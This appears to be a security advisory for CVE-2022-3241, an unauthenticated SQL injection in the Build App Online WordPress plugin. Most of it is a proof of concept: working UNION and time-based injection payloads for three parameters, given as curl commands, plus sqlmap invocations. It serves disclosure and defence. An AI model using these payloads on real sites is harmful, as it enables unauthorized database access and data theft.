Build App Online < 1.0.19 – Unauthenticated SQL Injection | CVE 2022-3241

Description

The plugin does not properly sanitise and escape some parameters before using them in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection

Proof of Concept

Additional plugins required:
https://wordpress.org/plugins/wc-multivendor-marketplace/
https://wordpress.org/plugins/wc-frontend-manager/

vendor parameter:
https://example.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor=-3065%20UNION%20ALL%20SELECT%209921,@@version,9921,9921,9921,9921,9921,9921,CONCAT(0x7178787671,0x7861526f436a41565347426143717a5a6a566a5843757a78637879477970635357517456746f6d44,0x7162626b71),9921

orderby parameter:
time curl --data 'orderby=ID`,(select sleep(5) from dual where 1=1)-- -' 'https://example.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor=-999'

sqlmap --keep-alive --threads=5 -u 'https://example.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor=-999' --data='orderby=ID' -p orderby --dbms=mysql --level=5 --risk=3

reviews_vendor parameter:
curl --data 'reviews_vendor=1 UNION ALL SELECT NULL,NULL,CONCAT(0x71626b6a71,0x766b62715775536b424565766d467863436d637a6f46795a514e4c46756c7749415959794d464946,0x717a6a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- ' 'https://example.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor'

sqlmap --keep-alive --threads=5 -u 'https://example.com/wp-admin/admin-ajax.php?action=build-app-online-vendor_reviews&vendor' --data='reviews_vendor=1' -p reviews_vendor --dbms=mysql --level=5 --technique=U --union-cols=10